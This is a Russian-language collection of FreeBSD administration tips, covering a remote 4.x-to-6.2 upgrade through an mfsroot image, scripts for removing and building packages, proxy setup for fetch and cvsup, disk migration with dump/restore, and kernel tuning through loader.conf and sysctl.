    1. Подготовить новое содержимое для /boot
    
    Скопировать с дистрибутивного CD 6.2-RELEASE
    каталог boot в /boot6, loader.conf оставить старый
    (если дистрибутив машине недоступен, сначала скачать
    /boot с него по сети в каталог /cdrom/boot):
    
    cd /
    CDROM=/cdrom
    cp -r $CDROM/boot boot6
    cd boot6
    mv loader.conf loader.conf6
    cp ../boot/loader.conf . || true
    mv kernel kernel6
    mkdir kernel
    ln ../kernel kernel
    
    2. Меняем местами старый и новый loader:
    
    cd ..
    mv boot boot4
    mv boot6 boot
    
    Теперь у нас новый loader, который грузит старое ядро
    из файла /boot/kernel/kernel (это хардлинк на /kernel),
    и старые модули из /modules. Система пока работает по-старому,
    при перезагрузке ничего не поломается.
    
    3. Подготовка mfsroot.
    
    Если дистрибутива на четверке нет, этот пункт можно полностью
    выполнять на другой машине, и готовый mfsroot.gz (5.5Mb)
    потом скачать в /boot/mfsroot.gz. Если выполняется на свежей
    FreeBSD, заменить vnconfig на mdconfig и disklabel
    на bsdlabel (убрать слово auto):
    
    TMPDIR=/var/tmp # можно и другое место
    cd $TMPDIR
    
    # быстрый и простой способ требует mfsroot на 14Mb
    # создаём файл образа на основе такого же
    # из дистрибутива
    dd if=/dev/zero of=mfsroot bs=1m count=14
    dev=vn0c
    vnconfig -c -s labels $dev mfsroot
    disklabel -w -B -b $CDROM/boot/boot $dev auto
    newfs -m 0 -o space -b 4096 -f 512 $dev
    
    # Монтируем оригинальный и новый mfsroot
    mkdir /mnt/omfs /mnt/mfs
    gzcat $CDROM/boot/mfsroot.gz > mfsroot.orig
    odev=vn1c
    vnconfig -c -s labels $odev mfsroot.orig
    mount -o ro /dev/$odev /mnt/omfs
    mount /dev/$dev /mnt/mfs
    
    # Для начала копируем оригинальный в новый
    cd /mnt/omfs
    tar -cf - * | tar -C /mnt/mfs -xf -
    
    # Оригинальный mfsroot больше не нужен
    cd /mnt/mfs
    umount /mnt/omfs
    vnconfig -d $odev
    rm $TMPDIR/mfsroot.orig
    
    # Затачиваем новый mfsroot под неинтерактивную загрузку
    rm -r etc bin sbin var stand/etc stand/help
    ln -s stand bin
    ln -s stand sbin
    mkdir -p tmp
    
    # В тестовой системе /usr и /var - отдельные от рута fs,
    # при промежуточной загрузке будут смонтированы так:
    # /mnt          - рут
    # /mnt/usr      - /usr
    # /mnt/var      - /var
    # Таким образом, chroot /mnt при желании
    # после загрузки даст нам оригинальный расклад
    # и позволит воспользоваться новым sysinstall-ом
    ln -s mnt/usr usr
    ln -s mnt/var var
    
    # Hовые бинарники используются новым ядром
    # при загрузке с md0
    cd $CDROM
    # игнорировать ошибки касательно "File exists"
    tar cf - bin etc lib libexec sbin | tar -C /mnt/mfs -xkf -
    
    # Минимально необходимый набор файлов со старой системы для успешного
    удаленного
    # входа в систему; nsswitch.conf берем с новой системы
    cd /etc
    cp -rp fstab host.conf rc.conf ssh passwd group master.passwd pwd.db spwd.db
    /mnt/mfs/etc
    cat <<EON > /mnt/mfs/etc/nsswitch.conf 
    group: files
    hosts: files dns
    networks: files
    passwd: files
    shells: files
    EON
    
    Теперь нужно привести /mnt/mfs/etc/fstab к примерно следующему виду:
    # Device                Mountpoint      FStype  Options         Dump    Pass#
    /dev/md0                /               ufs     rw              1       1
    /dev/ad0s1b             none            swap    sw              0       0
    /dev/ad0s1a             /mnt            ufs     rw              2       2
    /dev/ad0s1f             /mnt/usr        ufs     rw              2       2
    /dev/ad0s1e             /mnt/var        ufs     rw              2       2
    
    Первая строка обязательно такая, остальные - из оригинального fstab,
    точку монтирования для рута заменяем на /mnt,
    /usr и /var тоже смещаем внутрь /mnt, остальные файловые системы
    (если есть) намеренно не упоминаем.
    
    В /mnt/mfs/etc/fstab желательно отключить все сервисы, кроме
    sshd и каналообразующих (учитывать, что грузиться будет GENERIC),
    что-то типа этого:
    
    ifconfig_rl0="inet x.x.x.x netmask 255.255.255.0"
    hostname="host.domain.ru"
    sendmail_enable="NONE"
    firewall_enable="NO"
    inetd_enable="NO"
    sshd_enable="YES"
    fsck_y_enable="YES"
    background_fsck="NO"
    # EOF
    
    Закрываем и запаковываем mfsroot:
    
    cd $TMPDIR
    umount /mnt/mfs
    vnconfig -d $dev
    gzip -1 < mfsroot > /boot/mfsroot.gz
    
    4. Подгрузка полученного mfsroot:
    
    cd /boot
    cat loader.conf6 >> loader.conf
    
    Это добавляет в loader.conf следующие команды:
    
    mfsroot_load="YES"                                                            
    
    mfsroot_type="mfs_root"                                                        
    
    mfsroot_name="/boot/mfsroot"
    
    Hа работу четвертой версии не влияет никак, пока по-прежнему
    используется старая корневая файловая система, только увеличивается
    размер оперативной памяти, зарезервированной ядром. Hа машине с 48M памяти
    изменение составило те самые 14M, avail memory вместо 44316K стала 30140K.
    
    5. Решающий момент. Для загрузки нового ядра с новым рутом посредством
    nextboot:
    
    cat <<EOF > nextboot.conf
    nextboot_enable="YES"
    kernel="kernel6"
    vfs.root.mountfrom="ufs:md0"
    EOF
    
    Если новое ядро, скажем, зависнет на этапе определения оборудования
    до перехода в multiuser, достаточно дернуть питание и машина
    загрузит старое ядро и четвертую версию и у вас есть возможность
    спокойно разобраться, система тем временем работает. При следующей
    попытке этот пункт нужно повторить, nextboot.conf будет удалён
    при перезагрузке.
    
    При использовании cut-n-paste команд из этого пункта проверьте,
    что в конце строк nextboot.conf нет лишних пробелов - загрузчик
    этого не любит и может проигнорировать конфигурацию nextboot.
    
    Перезагружаемся!
    
    6. При успешной загрузке запускается старый /usr/sbin/sshd,
    через него заходим в систему. Авторизация через keyboard-interactive
    не срабатывает, зато срабатывает через password, то есть в систему
    пустит после четвертой попытки набора пароля. Эту косметическую
    проблему править не стал, всё равно на это один только раз
    наталкиваемся.
    
    Переименовываем /mnt/stand в /mnt/stand4,
    создаём новый /mnt/stand, копируем /stand/sysinstall в
    /mnt/stand/sysinstall, делаем chroot /mnt.
    
    7. Это - точка, после которой нет возврата, кроме восстановления
    из бекапа с консоли. Сейчас пока можно ещё перегрузиться обратно
    в четверку и работать по-старому. Дальше уже нет.
    
    # если не сделать этой правки loader.conf, система не поднимется
    echo 'kernel="GENERIC"' >> /boot/loader.conf
    /stand/sysinstall
    
    Выбираем Upgrade. Я делал бинарное обновление по FTP,
    из дистрибьюшнов ставил только base и kernels (меню Custom).
    Во время обновления в терминал выдавалось куча мусора от распаковщика,
    но это косметическое неудобство. Апгрейд прошел совершенно
    гладко, система перезагрузилась уже в шестерку с винта
    и доступна (теперь уже через свежий) sshd.
    
    Убираем строки mfsroot_* из /boot/loader.conf
    Hе забываем разгрести /etc/upgrade или сделать
    обновление из исходников, mergemaster позаботится о /etc.
    В любом случае перезагружаемся опять, теперь уже
    это будет не из mfsroot. 
    
     
    ----* Скрипт деинсталляции пакетов во FreeBSD вместе с зависимостями.   Автор: Artem A. Kolpakov   [комментарии]
     
    #!/usr/bin/perl
    #
    # Interactive script for deinstalling 'leaf' FreeBSD packages.
    #
    # Copyright (c) 2007 Artem A. Kolpakov <artem.kolpakov at gmail.com>
    #
    # All rights reserved.
    #
    # Redistribution and use in source and binary forms, with or without
    # modification, are permitted provided that the following conditions
    # are met:
    # 1. Redistributions of source code must retain the above copyright
    #    notice, this list of conditions and the following disclaimer.
    # 2. Redistributions in binary form must reproduce the above copyright
    #    notice, this list of conditions and the following disclaimer in the
    #    documentation and/or other materials provided with the distribution.
    #
    # THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
    # ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
    # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 
    # ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
    # FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
    # DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
    # OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
    # HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
    # LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
    # OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
    # SUCH DAMAGE.
    
    $dbdir="/var/db/pkg";
    
    die "Usage: pkg_deinstall.pl \'package_name\' or \'$dbdir/package_name\'.\n" if(!defined($ARGV[0]));
    $pkg=$ARGV[0];
        
    if(map /$dbdir/, $pkg) {
        $pkg=~/$dbdir\/(\S+[^\/])/; $pkg=$1;
    }
    die "$pkg is not installed!\n" if((!map /\S+\d/, $pkg)||(!-e "$dbdir/$pkg"));
     
    if(-w $dbdir) { $rw=1; } else { $rw=0; }
    if(-s "$dbdir/$pkg/+REQUIRED_BY") {
        open(REQ, "$dbdir/$pkg/+REQUIRED_BY");
        while(<REQ>) { print "Found required dependence: $_"; $req_sum++; }
        close(REQ);
    }
    die "Required dependencies: $req_sum.  Remove is impossible.\n" if($req_sum);
    
    open(DEP, "$dbdir/$pkg/+CONTENTS");
    while(<DEP>) {
        if(/\@pkgdep\s(\S+)\n/) {
            $pkg_depends{$1}=1; print "Dependence: $1\n";
        }
    }
    close(DEP);
    
    die "You have not privilegies to complete operation.\n" if(!$rw);
    
    $dep_sum=(keys %pkg_depends);
    if($dep_sum) {
        print "Total dependencies: $dep_sum. Removing package.\n";
    }
    else {
        system "pkg_delete $pkg";
        die "The package has been removed.\n";
    }
    system "pkg_delete $pkg";
    print "Done, processing...\n";
    while(scalar(keys %pkg_depends)) {
        $level++;
        if($level > 1) {
            for $pkg_depends (keys %pkg_depends) {
                if($pkg_depends{$pkg_depends} == $level-1) {
                    if(-e "$dbdir/$pkg_depends/+CONTENTS") {
                        open(DEP, "$dbdir/$pkg_depends/+CONTENTS");
                        while(<DEP>) {
                            if(/\@pkgdep\s(\S+)\n/) {
                                $pkg_depends{$1}=$level;
                            }
                        }
                        close(DEP);
                        open(COMMENT, "$dbdir/$pkg_depends/+COMMENT");
                        chomp($comment=<COMMENT>); close(COMMENT);
                        dialog:
                        print "Are you sure want to remove \'$pkg_depends\'? \- \'$comment\' [Y/n]: ";
                        chomp($in=<STDIN>);
                        if(($in eq "y")||($in eq "Y")||($in eq '')) {
                            system "pkg_delete $pkg_depends";
                            delete $pkg_depends{$pkg_depends}; $rm_dep_sum++;
                        }
                        elsif(($in eq "n")||($in eq "N")) {
                            delete $pkg_depends{$pkg_depends};
                        }
                        else { goto dialog; }
                    }
                    else {
                        delete $pkg_depends{$pkg_depends};
                    }
                }
            }
        }
        for $pkg_depends (keys %pkg_depends) {
            if($pkg_depends{$pkg_depends} == $level) {
                if(-s "$dbdir/$pkg_depends/+REQUIRED_BY") {
                    delete $pkg_depends{$pkg_depends};
                }
            }
        }
    }
    if($rm_dep_sum) {
        print "Removed $rm_dep_sum dependencies.\n";
    }
    else { print "No dependencies removed.\n"; }
    
     
    ----* Настройка выхода через прокси утилиты fetch во FreeBSD   Автор: Roman Y. Bogdanov  [комментарии]
     
    В /etc/make.conf добавляем:
    
       FETCH_ENV=FTP_PROXY=ftp://имя:пароль@IP_прокси:порт_прокси
       FETCH_ENV=HTTP_PROXY=http://имя:пароль@IP_прокси:порт_прокси
    
    Дополнительно, вместо fetch можно прописать и другую утилиту для загрузки или
    поменять параметры запуска. В /etc/make.conf:
    
       FETCH_CMD=/usr/bin/fetch -ARrvp -T 10 
    
    
    Или просто перед запуском fetch устанавливаем переменные окружения shell:
       setenv HTTP_PROXY http://user:pass@10.20.30.40:3128
       setenv FTP_PROXY http://40.30.20.10:8080
    
     
    ----* Работа cvsup и csup через proxy   Автор: st_serg  [комментарии]
     
    Использования nc (netcat) в качестве прокси для cvsup и csup.
    
    rc.conf:
       inetd_enable="YES"
    
    inetd.conf:
       cvsup stream tcp nowait root /usr/bin/nc nc -xA.B.C.D:8080 -Xconnect cvsup2.ru.freebsd.org 5999
    
    supfile:
       *default host=127.0.0.1
    
     
    ----* Запуск стартовых скриптов из портов FreeBSD без изменения /etc/rc.conf   Автор: Svinka  [комментарии]
     
    Для запуска/остановки сервиса с помощью стартового скрипта вручную
     без внесения записи в /etc/rc.conf найдено такое решение (FreeBSD 6.*, csh):
    
       env samba_enable=YES /usr/local/etc/rc.d/samba start
       env samba_enable=YES /usr/local/etc/rc.d/samba stop
    
     
    ----* Автоматизация создания скомпилированных пэкаджей во FreeBSD   Автор: Eugene Pankratov  [комментарии]
     
    #!/bin/sh
    #
    # pkgmake
    # Create package by name or full installed tree
    # Version: 1.0b
    # Copyright (c) 2007 Eugene Pankratov
    
    pkg_path="/usr/ports/packages/All"
    pkg_cmd="pkg_create -yb"
    
    usage()
    {
        echo ""
        echo "Usage: `basename $0` <pkg_name>|--all"
        echo ""
        echo "Example: `basename $0` kdebase_3.5.5_3"
        echo "         `basename $0` --all"
        exit 1
    }
    
    do_package()
    {
    pkg_name=$1
    pkg_file=${pkg_name}.tbz
    
        if [ ! -f ${pkg_path}/${pkg_file} ]; then
            echo -n "Creating package '${pkg_name}'... "
            ${pkg_cmd} ${pkg_name}
            echo "Done."
        else
            echo "Package ${pkg_file} already exists. Skiping"
        fi
    }
    
    do_all()
    {
        echo "Creating all installed packages"
        for i in `pkg_info | awk '{ print $1 }'`
        do
            do_package ${i}
        done
    }
    
    main()
    {
        if [ "$1" = "" ]; then usage
        else
            cd ${pkg_path}
            if [ "$1" = "--all" ]; then
                do_all
            else
                do_package $1
            fi
        fi
    
    }
    
    main $1
    
    exit 0
    
     
    ----* Скрипт для создания всех пакетов, требуемых по зависимостям, для порта в ОС FreeBSD   Автор: Alexey Tsvetnov  [комментарии]
     
    По сути, выполняет действия, аналогичные pkg_create с ключём -R, который
    появился только в FreeBSD 6.x.
    Однако данный скрипт позволяет указывать короткое имя порта и каталог, 
    в котором создавать пакеты. А главное, он работает и на тех системах, 
    где pkg_create не поддерживает ключ -R.
    
    #!/bin/sh
    #
    # pkg_depend
    # Create all packages (with dependence) needed by some port for FreeBSD 5.x+
    #
    # Version: 1.4
    # Copyright (c) 2005,2006 Alexey Tsvetnov, vorakl@fbsd.kiev.ua
    #
     
    # Path to packages directory
    pkgpath="/usr/ports/packages/All"
     
    # Command for get package's version
    pkgvercmd="pkg_version -v"
    #pkgvercmd="portversion -v"              # more faster than pkg_version
     
    getdepend()
    {
        [ ! -d $2 ] && echo -n "Creating directory ($2)..." && mkdir -p $2 && echo "Done."
     
        cd ${pkgpath}
        if [ ! -f ${pkgpath}/$1.tbz ]; then
            echo -n "Creating package ($1)..."
            pkg_create -yb $1
            echo "Done."
        fi
     
        echo -n "Copying package ($1)..."
        cp -f ${pkgpath}/$1.tbz $2
        echo "Done."
     
        for LINE in `pkg_info -r $1 | grep Dependency\: | awk '{print $2}'`
        do
            if [ ! -f ${pkgpath}/${LINE}.tbz ]; then
                echo -n "Creating package (${LINE})..."
                pkg_create -yb ${LINE}
                echo "Done."
            fi
            echo -n "Copying package (${LINE})..."
            cp -f ${pkgpath}/${LINE}.tbz $2
            echo "Done."
        done
    }
     
    gethelp()
    {
        echo ""
        echo "Usage: `basename $0` <Full/Short pkg_name> <Directory>"
        echo ""
        echo "If specify short package name script will get first find entry"
        echo ""
        echo "Example: `basename $0` dia-gnome-0.94_4,1 /tmp/pkg/"
        echo "         `basename $0` dia-gnome /tmp/pkg/"
        echo ""
        exit 1
    }
     
    main()
    {
    if [ "$2" = "" ]; then gethelp
     else
        echo -n "Checking package name ($1)..."
        if [ "`echo $1 | grep '\-[0-9]'`" = "" ]; then
            pkgname=`${pkgvercmd} | grep -E '^'$1'-[0-9].*' | awk '{print $1}' | head -1`
        else
            pkgname=`${pkgvercmd} | grep $1 | awk '{print $1}' | head -1`
        fi
        echo "Done."
     
        if [ "${pkgname}" = "" ]; then
            echo "Package '$1' not found! Exit."
            exit 2
        else
            getdepend ${pkgname} $2
        fi
    fi
    }
     
    main $1 $2
     
    exit 0
    
     
    ----* Скрипт для автоматизации создания бинарных пакетов для FreeBSD   Автор: Alexey Tsvetnov  [комментарии]
     
    #!/bin/sh
    #
    # Create all packages with sym-links for FreeBSD 5.x+
    #
    # Version: 1.2.2
    # Copyright (c) 2006 Alexey Tsvetnov, vorakl@fbsd.kiev.ua
    #
    # All error in  /var/log/<script_name>.err
    #
    
    # Path to packages directory
    packagespath="/usr/ports/packages"
    
    # Command for get package's version
    pkgvercmd="/usr/sbin/pkg_version -v"
    #pkgvercmd="/usr/local/sbin/portversion -v"	# more faster than pkg_version
    
    #-------------------------------------------------------------------------------
    
    err="\033[0;40;31mError\033[0m"
    ok="\033[1;40;33mOk\033[0m"
    
    
    checkPackagesPath ()
    {
        [ -d $packagespath ] || { /usr/bin/printf " *** $err: $packagespath doesn't exist.\n"; 
    			      /bin/echo " *** Error: $packagespath doesn't exist." > /var/log/`basename $0`.log; 
    			      exit 1; }
        [ -d $packagespath/All ] || { /bin/mkdir $packagespath/All || exit 1; }
        [ -d $packagespath/Latest ] || { /bin/mkdir $packagespath/Latest || exit 1; }
        return 0
    }
    
    checkPkgAll ()
    {
        [ -f $packagespath/All/$fullname.tbz ] && return 0
        return 1
    }
    
    checkPkgLatest ()
    {
        [ -L $packagespath/Latest/$shortname.tbz ] && [ -r $packagespath/Latest/$shortname.tbz ] && return 0
        return 1
    }
    
    checkPkgCat ()
    {
        [ -L $packagespath/$subdir/$fullname.tbz ] && [ -r $packagespath/$subdir/$fullname.tbz ] && return 0
        return 1
    }
    
    createPkgAll ()
    {
        /usr/sbin/pkg_create -jb $fullname $packagespath/All/$fullname.tbz && return 0
        return 1
    }
    
    createPkgLatest ()
    {
        /bin/rm -f $packagespath/Latest/$shortname.tbz
        cd $packagespath/Latest && /bin/ln -s ../All/$fullname.tbz $shortname.tbz && return 0
        return 1
    }
    
    createPkgCat ()
    {
        if [ -d $packagespath/$subdir ]; then
    	/bin/rm -f $packagespath/$subdir/$fullname.tbz
        else
    	/bin/mkdir -p $packagespath/$subdir
        fi
    
        cd $packagespath/$subdir && /bin/ln -s ../All/$fullname.tbz $fullname.tbz && return 0
        return 1
    }
    
    getPkgFullVersion ()
    {
        echo -n "Geting full version package list..."
        pkglist=`$pkgvercmd | /usr/bin/awk '{print $1}'`
        /usr/bin/printf "$ok\n"
    }
    
    work ()
    {
     for fullname in $pkglist; do
        /bin/echo "Check $fullname"
    
        shortname=`/bin/echo $fullname | /usr/bin/sed 's/\-[^-]*$//'`
        subdir=`/usr/sbin/pkg_info -o $fullname | /usr/bin/sed -e '1,3d' -e '$d' | /usr/bin/awk -F/ '{print $1}'`
    
        if ! checkPkgAll; then
    	/bin/echo -n " ==> Create package..."
    	if createPkgAll; then /usr/bin/printf "$ok\n"
    	  else /usr/bin/printf "$err\n"
    	fi
    
    	/bin/echo -n " ==> Create Latest sym-link..."
    	if createPkgLatest; then /usr/bin/printf "$ok\n"
    	  else /usr/bin/printf "$err\n"
    	fi
    
    	/bin/echo -n " ==> Create Category sym-link..."
    	if createPkgCat; then /usr/bin/printf "$ok\n"
    	  else /usr/bin/printf "$err\n"
    	fi
    
    	continue
        fi
    
        if ! checkPkgLatest; then  
    	/bin/echo -n " ==> Create Latest sym-link..."
    	if createPkgLatest; then /usr/bin/printf "$ok\n"
    	  else /usr/bin/printf "$err\n"
    	fi
        fi
    
        if ! checkPkgCat; then  
    	/bin/echo -n " ==> Create Category sym-link..."
    	if createPkgCat; then /usr/bin/printf "$ok\n"
    	  else /usr/bin/printf "$err\n"
    	fi
        fi
     done
    }
    
    main ()
    {
        exec 2>/var/log/`basename $0`.log
    
        checkPackagesPath
        getPkgFullVersion
        work
    
        exec 2>&-
    }
    
    main
    
    exit 0
    
     
    ----* Создаем из 2х установочных CD с FreeBSD 5.4 - один DVD. (доп. ссылка 1)   Автор: JackSoft  [комментарии]
     Вот тут надоело шаманство со сменой СD при инсталляции очередной FreeBSD 5.4 и было решено создать инсталляционный DVD - быстро и все в одном. Сразу оговорюсь - все манипуляции с ISO-образами проводились с помощью UltaISO 7.2.3.906.

    Все началось с того что я сравнил файлы INDEX в папках /packages на обоих CD и нашел их полную идентичность. Позже, изучив их содержимое, определил что за номер диска на котором находится установочный пакет отвечает последняя цифра в строке, которую честно поменял на 1.

    После чего все файлы с CD 2 (кроме cdrom.inf) были полностью перенесены в ISO образ CD 1 и в /packages записан патченный (см. выше) файл INDEX. Записываем ISO и получаем то что нам нужно - инсталяционный DVD.

    Я пошел дальше. С папки /5.4-STABLE-SNAP006/ports (я на этом снепшопе делал) достал архив (tar/gz) ports.tgz, распаковал его и в директорию /ports/distfiles закинул последние скачанные порты (кидал самое необходимое при установке без доступа в Инет - например, Midnight Commander), опять сжал архив и положил его на место в ISO-образе. Теперь порты распаковываются при установке вместе с моими distfiles...

     
    ----* Перенос системы FreeBSD на новый жёсткий диск. (доп. ссылка 1)   Автор: LM  [комментарии]
     
    По ссылке приведён удачный метод переноса FreeBSD на новый жёсткий диск произвольного размера.
    
    Вкратце это делается так:
    
    1. Подключаем новый жёсткий диск в систему с FreeBSD (/dev/ad1s1)
    
    2. С помощью /stand/sysinstall разбиваем новый диск на разделы так же как это сделано на старом. 
    То есть чтобы /dev/ad0s1a соответствовал /dev/ad1s1a - размер /dev/ad1s1a может
    быть большем чем на /dev/ad0s1a.
    
    3. Создаём временные папку и подпапки:
       mkdir /backup
       mkdir /backup/root
       mkdir /backup/usr
       mkdir /backup/var
       mkdir /backup/tmp
    
    4. Загружаемся в single user
    
    5. Монтируем разделы:
    
    при sysinstall иногда дополнительно требуется:
    
      newfs /dev/da1s1e # Повторяем этот шаг для всех созданных разделов.
    
       mount /dev/ad1s1a /backup/root
       mount /dev/ad1s1e /backup/var
       mount /dev/ad1s1f /backup/usr
       (тут указываем свои)
    
    6. Переносим систему:
    
       ( dump -0f - / ) | ( cd /backup/root ; restore -rf - )
       ( dump -0f - /var ) | ( cd /backup/var ; restore -rf - )
       ( dump -0f - /usr ) | ( cd /backup/usr ; restore -rf - )
    
    7. Размонтируем
       umount /backup/root
       umount /backup/var
       umount /backup/usr
    
    8. Включаем Soft Updates
       tunefs -n enable /dev/ad1s1a
       tunefs -n enable /dev/ad1s1e
       tunefs -n enable /dev/ad1s1f 
    
    Всё теперь можно с чистой совестью убрать из системы старый жёсткий диск, а на
    его место поставить новый.
    
     
    ----* Как создать INDEX файл после обновления коллекции портов в последних версиях FreeBSD   [комментарии]
     
    Скачать индексный файл:
       cd /usr/ports
       make fetchindex
    
    Или сгенерировать с нуля:
       make index (работает очень долго).
    
     
    ----* Сборка FreeBSD портов другой версией GCC   [комментарии]
     
    Во FreeBSD 5.3 используется GCC-3.4.2, некоторые программы в портах в связи с
    этим перестали нормально собираться.
    В некоторых портах появились соответсвующие записи:
         BROKEN="Does not compile with gcc 3.4.2"
    
    Для решения проблемы можно попробовать откомпилировать другой версией gcc, 
    например,  lang/gcc295. Исправить Makefile, закомментировав BROCKEN и устанавливать:
         csh:  # setenv CC /usr/local/bin/gcc295 && make install clean
         bash: # export CC=/usr/local/bin/gcc295 && make install clean
    
     
    ----* Особенности установки Tomcat 5.0 под FreeBSD 5.2   Автор: Александр Елисеенко  [комментарии]
     
    Итак, при построении jdk 1.4.2 из портов необходимо иметь разрешение
    эмуляции Linux в ядре и монтированную файловую систему linprocfs.
    Для этого в файле /etc/rc.conf необходимо указать
        #  linux_enable="YES"
    
    а в файле /etc/fstab
        #  linprocfs  /compat/linux/proc linprocfs rw 0 0
    
    По завершении установки необходимо установить переменную окружения 
    JAVA_HOME, которая указывает на каталог с установленным jdk
    Соответственно, в файле .cshrc необходимо добавить
        #  setenv JAVA_HOME /usr/local/jdk1.4.2
    
    а в файле .profile
        #  export JAVA_HOME=/usr/local/jdk1.4.2
    
    Установка Tomcat 5.0 из портов проблем не вызвала, но запуск программы
    постоянно срывался. Изучение логов показало, что Tomcat пытался 
    работать с протоколом IPv6, который не был установлен в моей системе. 
    
    В соответствии с рекомендацией, данной в логах, делаем запрет на IPv6
        #  sysctl net.inet6.ip6.v6only=0
    
    теперь все работает.
    
    Как вариант, можно внести соответствующие изменения в catalina.sh
    и сделать запуск java с ключем -Djava.net.preferIPv4Stack=true,
    но через sysctl мне показалось проще.
    
     
    ----* Как осуществить разбивку диска в FreeBSD   Автор: lavr  [комментарии]
     
    Создать freebsd слайс и прописать стандартный загрузчик:
        fdisk -BI -v -b /boot/mbr ad0
        disklabel -w -r -B -b /boot/boot1 -s /boot/boot2 ad0s1 auto
        или проще disklabel -w -B ad0s1 auto
    Затем руками отредактировать разбивку:
       disklabel -e -r ad0s1 с нужными размерами
    newfs , затем "tunefs -n enable раздел" если нужно softupdate
    
     
    ----* Почему после обновления FreeBSD 4.x некоторые программы перестали запускаться   [обсудить]
     
    Например для устранения ошибки: 
       /usr/libexec/ld-elf.so.1: /usr/lib/libm.so.2: Undefined symbol: "__stderrp"
    В /etc/make.conf добавьте
       COMPAT3X=YES
       COMPAT4X=YES
    cd /usr/src/lib/compat
    make && make install
    
     
    ----* Очистка /usr/ports/distfiles от файлов со старыми версиями (доп. ссылка 1)   Автор: awk  [комментарии]
     
    По ссылке можно найти скрипт, который просматривает список установленных портов 
    и их зависимостей, очищает distfiles от старых версий, оставшихся после
    обновления портов и запуска portupgrade.
    Комментарий к заметке: В portupgrade есть специальная утилита для чистки мусора - portsclean.
    
     
    ----* Как определить порядок запуска rc.d скриптов в FreeeBSD (доп. ссылка 1)   Автор: uldus  [комментарии]
     
    /usr/local/etc/rc.d скрипты запускаются в алфавитном порядке:
    010.postgres.sh
    020.postfix.sh
    030.apache.sh
    
     
    ----* Как оптимизировать сборку ядра и системы в FreeBSD   [комментарии]
     
    Правим /etc/make.conf пользуясь /etc/defaults/make.conf
      CPUTYPE=i686
      CFLAGS=-O2 -pipe
      COPTFLAGS=-O -pipe
    На SMP системах собираем через make -j2 buildworld
    
     
    ----* Можно ли обойтись в FreeBSD GENERIC ядром или как изменить параметры ядра без его пересборки.   [комментарии]
     
    man sysctl.conf; man sysctl
    man loader.conf; man loader
    На основе параметров в /boot/defaults/loader.conf, формируем /boot/loader.conf, 
    где можем указать какие модули подгружать и какие значения системных констант использовать.
    Например, безе пересборки можно использовать GENERIC с /boot/loader.conf:
       kern.maxusers="512"
       kern.ipc.nmbclusters="16384"
       null_load="YES" # Грузим модуль для Null filesystem
       vinum_load="YES"
       accf_http_load="YES"  # HTTP request accept filter
    /etc/sysctl.conf
       kern.maxfiles=32000
       kern.ipc.somaxconn=1024
       net.inet.ip.portrange.last=30000
       net.inet.tcp.sendspace=32768
       net.inet.tcp.recvspace=32768
    
     
    ----* Какие tag'и можно ставить при апгрейде FreeBSD через cvsup (доп. ссылка 1)   Автор: lavr  [обсудить]
     
    Например для 4.6.1: tag=RELENG_4_6_1_RELEASE
    для всех RELEASE, к RELENG_X_Y добавляется _RELEASE - это чистый RELEASE
    для каждого РЕЛИЗА, после установки или upgrade via CVS/CTM, впоследствии можно использовать 
    tag=RELENG_X_Y - который будет вытягивать только security patches для
    заданного в теге RELEASE
    для STABLE всегда tag=RELENG_4 , stable всегда изменяется
    для CURRENT tag=.
    
     
    ----* Как русифицировать шелл в FreeBSD ?   Автор: lavr  [обсудить]
     
    Bash: $HOME/.inputrc
          set convert-meta off
          set input-meta on
          set output-meta on
    $HOME/.bash_profile
          export CHARSET=KOI8-R
          export MM_CHARSET=KOI8-R
          export LANG=ru_RU.KOI8-R
    Tcsh[Csh] $HOME/.login
          setenv CHARSET KOI8-R
          setenv MM_CHARSET KOI8-R
          setenv LANG ru_RU.KOI8-R
    
     
    ----* Установка программ через Ports в FreeBSD.   [комментарии]
     
    Апргейд коллекции портов:
    Редактируем /usr/share/examples/cvsup/ports-supfile и запускаем:
        cvsup -g -L 2 ports-supfile
    Поиск:
        make search key="строка" - поиск пакета по ключевому слову.
        make search name="строка" - поиск пакета по названию пакета.
    Установка портов:
        cd /usr/ports/порт; make; make install
    Другие команды:
        make deinstall - деинсталлировать приложение.
        make fetch     - скачать приложение из сети.
        make checksum  - проверить контрольные суммы.
        make depends   - перестроить зависимости.
        make extract   - разархивировать исходные тексты в work директорию.
        make patch     - применить патчи к приложению.
        make build     - собрать приложение из исходных тестов.
        make clean     - "почистить" исходники после сборки.
        make reinstall - переустановить приложение после удаления.
        make package   - построить из порта package.
    
     
    ----* Где скачать последнюю FreeBSD STABLE в бинарном виде ? (доп. ссылка 1)   [комментарии]
     
    ftp://stable.freebsd.org/pub/FreeBSD/snapshots/i386/
    
     
    ----* Как правильно проабгрейдить установленные FreeBSD ports   [комментарии]
     
    pkg_version -c >/tmp/uplist.sh
    sh -x /tmp/uplist.sh > /tmp/upgrade.output
    cd /usr/ports/devel/ctags; portupgrade ctags
    
     
    ----* Как автоматизировать процесс установки FreeBSD на несколько машин.   [обсудить]
     
    Для автоматической установки достаточно создать профайл инсталляции
     install.cfg, скопировать его на дискету, а в sysinstall при установке
     выбрать пункт меню "Load Config".
    Пример install.cfg можно найти в /usr/src/release/sysinstall/install.cfg
    
     
    ----* Как проабгрейдить FreeBSD с помощью cvsup   [комментарии]
     
    1. cd /usr/src/; cvsup -g -L2 /etc/cvsupfile # cvsupfile составляем опираясь на /usr/share/examples/cvsup/stable-supfile
    2. make buildworld
    3. make buildkernel KERNCONF=имя_конфига_ядра
    4. make installkernel KERNCONF=имя_конфига_ядра
    5. make installworld
    6. mergemaster
       Для пересборки ядра после make installworld: config MYKERNEL; make depend; make; make install
    
    Дополнение: C 2012 года проект FreeBSD перешёл на использование Subversion.
